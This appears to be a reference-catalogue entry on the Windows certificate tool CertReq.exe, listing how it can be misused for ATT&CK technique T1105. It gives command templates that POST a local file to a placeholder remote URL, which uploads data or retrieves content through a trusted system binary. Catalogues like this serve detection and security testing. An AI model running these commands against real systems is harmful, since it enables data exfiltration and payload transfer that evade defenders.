CertReq.exe

type: OSBinaries
Used for requesting and managing certificates

Full path

C:\Windows\System32\certreq.exe
C:\Windows\SysWOW64\certreq.exe

Commands

  1. DownloadUser T1105

    Download file from Internet

    CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}

    Send the specified file (penultimate argument) to the specified URL via HTTP POST and save the response to the specified txt file (last argument).

    os: Windows 10, Windows 11

  2. UploadUser T1105

    Upload

    CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE}

    Send the specified file (last argument) to the specified URL via HTTP POST and show response in terminal.

    os: Windows 10, Windows 11

Detection

Resources

acknowledgement: David Middlehurst @dtmsecurity